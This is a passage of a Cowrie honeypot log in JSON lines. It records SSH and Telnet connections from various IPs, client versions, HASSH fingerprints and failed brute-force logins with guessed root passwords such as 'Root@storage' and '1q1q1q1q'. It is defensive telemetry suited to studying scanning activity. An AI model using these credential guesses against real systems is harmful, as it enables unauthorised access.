H client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:30.252112Z","src_ip":"43.153.70.247","session":"05c3f2a3ac59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@storage","message":"login attempt [root/Root@storage] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:30.553843Z","src_ip":"43.153.70.247","session":"05c3f2a3ac59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:31.625726Z","src_ip":"43.153.70.247","session":"05c3f2a3ac59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35570,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e793dd993a1","protocol":"telnet","message":"New connection: 152.42.224.71:35570 (10.17.0.5:23) [session: 2e793dd993a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:35.189759Z"}
{"eventid":"cowrie.session.closed","duration":52.44692373275757,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:39.703222Z","src_ip":"152.42.224.71","session":"83e25d907480","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":51270,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ea8e94f2975","protocol":"ssh","message":"New connection: 103.149.170.125:51270 (10.17.0.5:22) [session: 3ea8e94f2975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:40.949937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:40.957168Z","src_ip":"103.149.170.125","session":"3ea8e94f2975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:41.225574Z","src_ip":"103.149.170.125","session":"3ea8e94f2975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q1q1q1q","message":"login attempt [root/1q1q1q1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:42.033230Z","src_ip":"103.149.170.125","session":"3ea8e94f2975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:43.304867Z","src_ip":"103.149.170.125","session":"3ea8e94f2975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.87622046470642,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:46.025171Z","src_ip":"152.42.224.71","session":"8cd9175ebd8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":38202,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9f40689bc86","protocol":"ssh","message":"New connection: 45.137.172.116:38202 (10.17.0.5:22) [session: a9f40689bc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:46.139114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:46.143578Z","src_ip":"45.137.172.116","session":"a9f40689bc86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:46.240709Z","src_ip":"45.137.172.116","session":"a9f40689bc86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ph03n1x","message":"login attempt [root/ph03n1x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:46.661130Z","src_ip":"45.137.172.116","session":"a9f40689bc86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:47.761503Z","src_ip":"45.137.172.116","session":"a9f40689bc86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.757758617401123,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:48.947393Z","src_ip":"152.42.224.71","session":"2e793dd993a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39948,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d408f593dd6","protocol":"telnet","message":"New connection: 152.42.224.71:39948 (10.17.0.5:23) [session: 3d408f593dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:51.370217Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":43998,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6b2ffac334c","protocol":"ssh","message":"New connection: 43.173.84.253:43998 (159.203.135.109:22) [session: c6b2ffac334c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:57.976921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:57.983933Z","src_ip":"43.173.84.253","session":"c6b2ffac334c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:58.051793Z","src_ip":"43.173.84.253","session":"c6b2ffac334c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:58.354176Z","src_ip":"43.173.84.253","session":"c6b2ffac334c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:59.425245Z","src_ip":"43.173.84.253","session":"c6b2ffac334c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":52220,"dst_ip":"10.17.0.5","dst_port":22,"session":"58101f8d602d","protocol":"ssh","message":"New connection: 43.135.177.217:52220 (10.17.0.5:22) [session: 58101f8d602d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:18.700231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:18.705091Z","src_ip":"43.135.177.217","session":"58101f8d602d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:18.773739Z","src_ip":"43.135.177.217","session":"58101f8d602d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dis123","message":"login attempt [root/dis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:19.080926Z","src_ip":"43.135.177.217","session":"58101f8d602d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:20.153507Z","src_ip":"43.135.177.217","session":"58101f8d602d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52466,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eb322d0b3f7","protocol":"telnet","message":"New connection: 152.42.224.71:52466 (10.17.0.5:23) [session: 1eb322d0b3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:34.729020Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":44432,"dst_ip":"159.203.135.109","dst_port":22,"session":"31874544db31","protocol":"ssh","message":"New connection: 147.45.197.250:44432 (159.203.135.109:22) [session: 31874544db31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:37.697366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:37.702188Z","src_ip":"147.45.197.250","session":"31874544db31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:37.793660Z","src_ip":"147.45.197.250","session":"31874544db31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hummer","message":"login attempt [root/hummer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:38.069612Z","src_ip":"147.45.197.250","session":"31874544db31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:39.165193Z","src_ip":"147.45.197.250","session":"31874544db31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":58692,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0ea1ee2fdc9","protocol":"ssh","message":"New connection: 43.153.70.247:58692 (10.17.0.5:22) [session: e0ea1ee2fdc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:39.646277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:39.650836Z","src_ip":"43.153.70.247","session":"e0ea1ee2fdc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:39.719305Z","src_ip":"43.153.70.247","session":"e0ea1ee2fdc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"usuario1234","message":"login attempt [root/usuario1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:40.025124Z","src_ip":"43.153.70.247","session":"e0ea1ee2fdc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:41.097189Z","src_ip":"43.153.70.247","session":"e0ea1ee2fdc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.026606798172,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:43.396573Z","src_ip":"152.42.224.71","session":"3d408f593dd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":48812,"dst_ip":"10.17.0.5","dst_port":22,"session":"a23ed2328f27","protocol":"ssh","message":"New connection: 103.77.242.62:48812 (10.17.0.5:22) [session: a23ed2328f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:46.824217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:46.828668Z","src_ip":"103.77.242.62","session":"a23ed2328f27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:47.072693Z","src_ip":"103.77.242.62","session":"a23ed2328f27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"moskva","message":"login attempt [root/moskva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:47.802958Z","src_ip":"103.77.242.62","session":"a23ed2328f27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:49.049324Z","src_ip":"103.77.242.62","session":"a23ed2328f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49774,"dst_ip":"10.17.0.5","dst_port":23,"session":"09f9de8a1792","protocol":"telnet","message":"New connection: 152.42.224.71:49774 (10.17.0.5:23) [session: 09f9de8a1792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:52.969173Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":38200,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd84b4ce0970","protocol":"ssh","message":"New connection: 45.137.172.116:38200 (10.17.0.5:22) [session: cd84b4ce0970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:55.319620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:55.325598Z","src_ip":"45.137.172.116","session":"cd84b4ce0970","protocol":"ssh"}
